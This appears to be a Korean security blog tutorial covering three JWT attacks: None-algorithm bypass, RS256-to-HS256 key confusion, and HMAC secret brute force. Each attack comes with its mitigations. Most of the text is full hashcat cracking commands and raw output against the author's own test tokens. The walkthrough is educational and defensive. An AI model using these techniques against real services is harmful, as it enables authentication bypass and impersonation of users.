[JWT] 2장. JWT(JSON Web Token) 취약점
작성자 - S1ON개요
이번 장에서는 JWT를 이용하여 사용자 인증을 우회하거나 변조할 수 있는 취약점에 대해서 확인해보자.
공격 기법은 크게 3가지로 분류되며, 1)None 알고리즘 공격, 2)Key Confusion 공격, 3)Brute Force 공격이 있다.
JWT None Algorithm Attack
JWT 헤더 부분의 Algorithm을 None으로 변조하여 인증을 우회하는 공격기법이다.
JWT는 헤더의 alg로 서명 알고리즘을 지정하여 서명을 통해 데이터를 검증하며, 서명 알고리즘 목록은 다음과 같다.
None | HS256 | HS384 | HS512 | RS256 | RS384 | RS512 |
ES256 | ES384 | ES512 | PS256 | PS384 | PS512 |
일부 JWT 라이브러리에서는 alg 값에 None을 지정할 경우, 서명 검증 절차가 생략되기 때문에 인증 우회가 가능하다.
아래 JWT는 HS256 서명 알고리즘으로 헤더와 페이로드, Secret Key를 결합하여 서명을 생성하는 것을 확인할 수 있다.
만약 웹 서버에서 사용중인 JWT 라이브러리에서 None 알고리즘이 허용되어 있는 경우 공격자는 JWT 토큰의 헤더를 None으로 변경하고 빈 서명을 제공하여 JWT를 임의로 생성하거나 변조할 수 있다.
웹 서버에서 사용하는 JWT 구조를 파악한 뒤 JWT 페이로드에 담기는 데이터를 변조하여 인증 우회가 가능하다.
직접 Base64 URL-safe를 활용하여 JWT를 조작해도 되며, Burp Suite에서 제공하는 Extender를 이용할 수도 있다.
None 알고리즘 공격의 대응방안은 JWT.io에서 권장하는 라이브러리를 사용하거나, None이 아닌 특정 서명 알고리즘만을 허용하여 서명 검증 절차를 우회할 수 없도록 한다.
JWT RS256 to HS256 Key Confusion
JWT를 사용하는 웹 서버의 토큰 검증 절차에서 HS, RS 알고리즘을 모두 지원하는 경우, 공격자가 RSA Public Key를 이용하여 HMAC 서명을 생성할 수 있는 공격기법이다.
-HMAC: 서명/검증 키가 동일 (대칭키)
-RSA : 개인키/공개키가 각각 서명/검증용 키 (비대칭키)
RSA 암호화 알고리즘을 사용하는 웹 서버에서 클라이언트로 Publick Key가 전달되는 경우, 해당 Public 키를 HS 서명 알고리즘의 Secret Key로 활용하여 HS 알고리즘의 JWT를 생성하는 방식으로 인증 절차를 우회할 수 있다.
Key Confusion 공격의 대응방안은 특정 서명 알고리즘만을 허용하여 키를 혼합하는 공격을 사전 차단한다.
JWT HS256 Bruteforce Attack
HMAC의 Secret Key 무작위 대입 공격 기법이다.
HMAC의 서명/검증 키는 대칭 키이기 때문에 해당 키만 알게된다면 JWT를 얼마든지 생성하거나 변조할 수 있다.
JWT를 크랙할 수 있는 공개된 도구들이 많이 존재한다.
- https://github.com/AresS31/jwtcat
- https://github.com/lmammino/jwt-cracker
- https://github.com/brendan-rius/c-jwt-cracker
- https://github.com/Sjord/jwtcrack/blob/master/jwt2john.py
Secret Key를 찾아내는 방법은 여타 크랙과 동일하게 게싱/사전 대입/무작위 대입 공격을 활용할 수 있다.
여기에서는 가장 널리 알려진 크랙도구 "Hashcat"을 이용한 JWT 크랙 방법을 확인해보자.
먼저 아래 Github 주소에서 최신 hashcat을 설치한다.
https://github.com/hashcat/hashcat/releases
hashcat이 설치된 경로에서 cmd 창을 열어서 hashcat 명령어를 사용해주면 된다.
도움말은 >hashcat --help 옵션으로 볼 수 있다.
1. JWT 사전 대입 공격
명령어 예시는 다음과 같다.
hashcat -a 0 -m 16500 [JWT] dict.txt
// JWT Secret Key를 dict.txt에 있는 단어로 사전 대입 공격
공격 실습을 하기 위해 jwt.io에서 secret key가 "44444"인 JWT 토큰을 생성한다.
dict.txt에는 "11111", "22222", "33333", "44444", "55555"를 저장한다.
사전 대입 공격 명령어는 다음과 같다.
hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlNJT04iLCJpYXQiOjE1MTYyMzkwMjJ9.2YyvtcBqyjoaxriiYG0NCxADcInN8ZUkgQ-cyMLK6D8 dict.txt
명령어 실행 결과이다. 5개밖에 안되는 사전대입 공격을 Geforce RTX 3070 Ti로 돌리는 플렉스를 보여준다.
dict.txt에 존재하는 사전을 secret key에 대입하여 5번의 시도에서 key 값:"44444"를 크랙하였다.
C:\Users\SION\Desktop\hashcat-6.2.5>hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlNJT04iLCJpYXQiOjE1MTYyMzkwMjJ9.2YyvtcBqyjoaxriiYG0NCxADcInN8ZUkgQ-cyMLK6D8 dict.txt
hashcat (v6.2.5) starting
* Device #1: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
* Device #2: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
CUDA API (CUDA 11.7)
====================
* Device #1: NVIDIA GeForce RTX 3070 Ti, 7119/8191 MB, 48MCU
OpenCL API (OpenCL 3.0 CUDA 11.7.99) - Platform #1 [NVIDIA Corporation]
=======================================================================
* Device #2: NVIDIA GeForce RTX 3070 Ti, skipped
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 843 MB
Dictionary cache built:
* Filename..: dict.txt
* Passwords.: 5
* Bytes.....: 34
* Keyspace..: 5
* Runtime...: 0 secs
The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework
Approaching final keyspace - workload adjusted.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlNJT04iLCJpYXQiOjE1MTYyMzkwMjJ9.2YyvtcBqyjoaxriiYG0NCxADcInN8ZUkgQ-cyMLK6D8:44444
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...MLK6D8
Time.Started.....: Wed Aug 31 23:52:45 2022 (1 sec)
Time.Estimated...: Wed Aug 31 23:52:46 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (dict.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 15110 H/s (0.06ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 5/5 (100.00%)
Rejected.........: 0/5 (0.00%)
Restore.Point....: 0/5 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 11111 -> 55555
Hardware.Mon.#1..: Temp: 35c Fan: 0% Util: 26% Core:1740MHz Mem:8475MHz Bus:16
Started: Wed Aug 31 23:52:38 2022
Stopped: Wed Aug 31 23:52:46 2022
2. JWT 무작위 대입 공격
명령어 예시는 다음과 같다.
hashcat -a 3 -m 16500 [JWT] -i --increment-min=5 --increment-max=8
// JWT Secret Key를 5~8자리 값으로 무작위 대입 공격
jwt.io에서 secret key를 문자+숫자 8자리 조합으로 생성한 후, hashcat으로 무작위 대입 공격을 수행한다.
hashcat -a 3 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlNJT04iLCJpYXQiOjE1MTYyMzkwMjJ9.w3ZCkqWWqCCcPBkOod6-Vn7EK-mgw30WndV1S01qesg -i --increment-min=5 --increment-max=8
JWT 무작위 대입 공격 수행 결과 secret key는 "mokpo123"으로 도출된다.
C:\Users\SION\Desktop\hashcat-6.2.5>hashcat -a 3 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlNJT04iLCJpYXQiOjE1MTYyMzkwMjJ9.w3ZCkqWWqCCcPBkOod6-Vn7EK-mgw30WndV1S01qesg -i --increment-min=5 --increment-max=8
hashcat (v6.2.5) starting
* Device #1: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
* Device #2: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
CUDA API (CUDA 11.7)
====================
* Device #1: NVIDIA GeForce RTX 3070 Ti, 7119/8191 MB, 48MCU
OpenCL API (OpenCL 3.0 CUDA 11.7.99) - Platform #1 [NVIDIA Corporation]
=======================================================================
* Device #2: NVIDIA GeForce RTX 3070 Ti, skipped
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
* Brute-Force
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1475 MB
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...01qesg
Time.Started.....: Thu Sep 01 00:02:04 2022 (1 sec)
Time.Estimated...: Thu Sep 01 00:02:05 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?1?2?2?2?2 [5]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Guess.Queue......: 1/4 (25.00%)
Speed.#1.........: 749.9 MH/s (5.37ms) @ Accel:64 Loops:62 Thr:32 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 104136192/104136192 (100.00%)
Rejected.........: 0/104136192 (0.00%)
Restore.Point....: 1679616/1679616 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-62 Iteration:0-62
Candidate.Engine.: Device Generator
Candidates.#1....: sp0qx -> Xqxvq
Hardware.Mon.#1..: Temp: 41c Fan: 0% Util: 95% Core:1850MHz Mem:9225MHz Bus:16
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...01qesg
Time.Started.....: Thu Sep 01 00:02:05 2022 (4 secs)
Time.Estimated...: Thu Sep 01 00:02:09 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?1?2?2?2?2?2 [6]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Guess.Queue......: 2/4 (50.00%)
Speed.#1.........: 848.1 MH/s (6.42ms) @ Accel:2 Loops:128 Thr:512 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 3748902912/3748902912 (100.00%)
Rejected.........: 0/3748902912 (0.00%)
Restore.Point....: 1679616/1679616 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:2176-2232 Iteration:0-128
Candidate.Engine.: Device Generator
Candidates.#1....: 0qc2xq -> Xqqfqx
Hardware.Mon.#1..: Temp: 47c Fan: 0% Util: 98% Core:1949MHz Mem:9242MHz Bus:16
Cracking performance lower than expected?
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =>
Session..........: hashcat
Status...........: Running
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...01qesg
Time.Started.....: Thu Sep 01 00:02:10 2022 (44 secs)
Time.Estimated...: Thu Sep 01 00:04:45 2022 (1 min, 51 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?1?2?2?2?2?2?2 [7]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Guess.Queue......: 3/4 (75.00%)
Speed.#1.........: 865.3 MH/s (7.18ms) @ Accel:2 Loops:128 Thr:512 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 38370017280/134960504832 (28.43%)
Rejected.........: 0/38370017280 (0.00%)
Restore.Point....: 442368/1679616 (26.34%)
Restore.Sub.#1...: Salt:0 Amplifier:57472-57600 Iteration:0-128
Candidate.Engine.: Device Generator
Candidates.#1....: U7he2c1 -> mxgkufy
Hardware.Mon.#1..: Temp: 56c Fan: 53% Util: 98% Core:1955MHz Mem:9242MHz Bus:16
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...01qesg
Time.Started.....: Thu Sep 01 00:02:10 2022 (2 mins, 38 secs)
Time.Estimated...: Thu Sep 01 00:04:48 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?1?2?2?2?2?2?2 [7]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Guess.Queue......: 3/4 (75.00%)
Speed.#1.........: 707.4 MH/s (3.56ms) @ Accel:2 Loops:128 Thr:512 Vec:1
Recovered........: 0/1 (0.00%) Digests
Progress.........: 134960504832/134960504832 (100.00%)
Rejected.........: 0/134960504832 (0.00%)
Restore.Point....: 1679616/1679616 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:80256-80352 Iteration:0-128
Candidate.Engine.: Device Generator
Candidates.#1....: 8z7d2uq -> Xqxqxqg
Hardware.Mon.#1..: Temp: 55c Fan: 61% Util: 96% Core:1949MHz Mem:9242MHz Bus:16
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlNJT04iLCJpYXQiOjE1MTYyMzkwMjJ9.w3ZCkqWWqCCcPBkOod6-Vn7EK-mgw30WndV1S01qesg:mokpo123
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...01qesg
Time.Started.....: Thu Sep 01 00:04:48 2022 (2 secs)
Time.Estimated...: Thu Sep 01 00:04:50 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?1?2?2?2?2?2?2?3 [8]
Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined
Guess.Queue......: 4/4 (100.00%)
Speed.#1.........: 857.8 MH/s (7.13ms) @ Accel:2 Loops:128 Thr:512 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 1547698176/5533380698112 (0.03%)
Rejected.........: 0/1547698176 (0.00%)
Restore.Point....: 0/68864256 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:31360-31488 Iteration:0-128
Candidate.Engine.: Device Generator
Candidates.#1....: Naperane -> Ergkvier
Hardware.Mon.#1..: Temp: 60c Fan: 61% Util: 98% Core:1952MHz Mem:9242MHz Bus:16
Started: Thu Sep 01 00:02:03 2022
Stopped: Thu Sep 01 00:04:52 2022
Key Bruteforce 공격의 대응방안은 secret key의 복잡도 및 길이를 유추하기 어렵도록 설정하고, JWT 토큰의 유효기간을 짧게 설정하여 크랙이 성공하더라도 그 전에 JWT 토큰이 만료될 수 있도록 해야한다.
참고
https://dohunny.tistory.com/m/15
'Season 1 > 기술 보안' 카테고리의 다른 글
Project Discovery 소개 - nuclei (1) (0) | 2022.09.14 |
---|---|
정규 표현식을 이용한 xss 조치 방안 (0) | 2022.08.31 |
스마트팩토리 보안 - 보안장비 운영 관련 (0) | 2022.08.31 |
WAF 사전 설치 절차 (WAPPLES) (0) | 2022.08.31 |
Wordpress 계정 확인 취약점 (0) | 2022.08.30 |